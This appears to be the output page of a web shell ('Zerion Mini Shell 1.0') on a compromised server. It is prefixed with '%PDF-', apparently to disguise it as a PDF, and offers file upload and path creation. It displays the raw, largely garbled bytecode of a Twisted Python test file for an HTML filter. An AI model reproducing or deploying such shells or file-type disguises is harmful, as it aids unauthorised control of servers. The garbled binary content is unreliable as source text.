%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/test/__pycache__/test_htmlizer.cpython-312.pyc

�

Ϫ�f	��B�dZddlmZddlmZddlmZGd�de�Zy)z'
Tests for L{twisted.python.htmlizer}.
�)�BytesIO)�filter)�TestCasec� �eZdZdZdd�Zdd�Zy)�FilterTestsz6
    Tests for L{twisted.python.htmlizer.filter}.
    Nc��td�}t�}t||�|j|j�d�y)z�
        If passed an empty input file, L{filter} writes a I{pre} tag containing
        only an end marker to the output file.
        �s2<pre><span class="py-src-endmarker"></span></pre>
N�rr�assertEqual�getvalue��self�input�outputs   �C/usr/lib/python3/dist-packages/twisted/python/test/test_htmlizer.py�
test_emptyzFilterTests.test_emptys9��
��������u�f������O�O��U�	
r	c��td�}t�}t||�|j|j�d�y)z�
        If passed an input file containing a variable access, L{filter} writes
        a I{pre} tag containing a I{py-src-variable} span containing the
        variable.
        sfoo
s<pre><span class="py-src-variable">foo</span><span class="py-src-newline">
</span><span class="py-src-endmarker"></span></pre>
Nr
r
s   r�
test_variablezFilterTests.test_variables=����!������u�f������O�O��
E�	
r	)�returnN)�__name__�
__module__�__qualname__�__doc__rr�r	rrrs���

�
r	rN)r�ior�twisted.python.htmlizerr�twisted.trial.unittestrrrr	r�<module>rs!����*�+�
�(�
r	

Zerion Mini Shell 1.0